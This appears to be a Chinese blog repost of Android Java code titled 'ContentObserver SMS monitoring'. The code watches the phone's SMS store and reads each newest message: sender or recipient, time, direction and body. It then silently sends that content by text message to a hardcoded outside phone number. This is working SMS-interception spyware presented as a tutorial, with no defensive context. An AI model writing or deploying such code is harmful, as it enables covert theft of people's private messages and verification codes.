ContentObserver短信监听

来源:互联网 发布:sass mac 编辑:程序博客网 时间:2024/04/28 19:11
package cn.ither.sms;import java.util.Date;import android.app.Activity;import android.database.ContentObserver;import android.database.Cursor;import android.net.Uri;import android.os.Bundle;import android.os.Handler;import android.telephony.SmsManager;import android.view.Menu;import android.view.MenuItem;public class MainActivity extends Activity {private Uri uri = Uri.parse("content://sms");//内容提供者的uri@Overrideprotected void onCreate(Bundle savedInstanceState) {super.onCreate(savedInstanceState);setContentView(R.layout.activity_main);//getContentResolver().registerContentObserver(uri, true, new ContentObserver(new Handler()) {@Overridepublic void onChange(boolean selfChange) {Cursor c = getContentResolver().query(uri, new String[]{"address","date","type","body"}, null, null, "_id DESC LIMIT 1");if(c.moveToNext()){String address = c.getString(0);Date date = new Date(c.getLong(1));String type = c.getInt(2)==1?"收":"发";//如果收到的内容是1哪就是收短信,如果内容是2哪就是发短信String body = c.getString(3);String textsms = "地址:"+address+",时间:"+date+"类型:"+type+"内容:"+body;SmsManager manager = SmsManager.getDefault();//manager.sendTextMessage(目标的电话号码,短信中心,内容,发送成功,对方收到);manager.sendTextMessage("13025882326", null, textsms, null, null);}}});}
0 0
原创粉丝点击